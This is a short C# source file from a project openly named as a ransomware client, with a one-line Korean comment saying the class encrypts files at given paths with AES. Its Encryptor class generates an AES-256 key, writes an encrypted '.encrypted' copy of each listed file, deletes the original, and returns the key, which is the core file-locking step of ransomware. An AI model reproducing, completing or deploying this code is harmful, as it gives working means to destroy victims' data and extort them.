
using System.IO;
using System.Security.Cryptography;
namespace gukwon_ransomeware_client
{
public class Encryptor
{
public struct KeySet
{
public byte[] Key;
public byte[] IV;
}
private RijndaelManaged aes;
public KeySet keySet;
public Encryptor()
{
aes = new RijndaelManaged();
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.GenerateKey();
aes.GenerateIV();
}
public KeySet EncryptFiles(string[] pathes)
{
int count;
int blockSizeBytes = aes.BlockSize / 8;
byte[] data = new byte[blockSizeBytes];
KeySet keySet;
FileStream inFs;
FileStream outFs;
CryptoStream cryptoStream;
for (int i = 0; i < pathes.Length; i++)
{
if (File.Exists(pathes[i]))
{
inFs = new FileStream(pathes[i], FileMode.Open);
outFs = new FileStream(pathes[i] + ".encrypted", FileMode.Create);
cryptoStream = new CryptoStream(outFs, aes.CreateEncryptor(), CryptoStreamMode.Write);
do
{
count = inFs.Read(data, 0, blockSizeBytes);
cryptoStream.Write(data, 0, count);
}
while (count > 0);
inFs.Close();
cryptoStream.FlushFinalBlock();
cryptoStream.Close();
outFs.Close();
File.Delete(pathes[i]);
}
}
keySet.Key = aes.Key;
keySet.IV = aes.IV;
return keySet;
}
}
}
- 파일 경로를 인자로 받아 해당 경로의 파일을 AES 방식으로 암호화하는 메서드를 가진 클래스이다.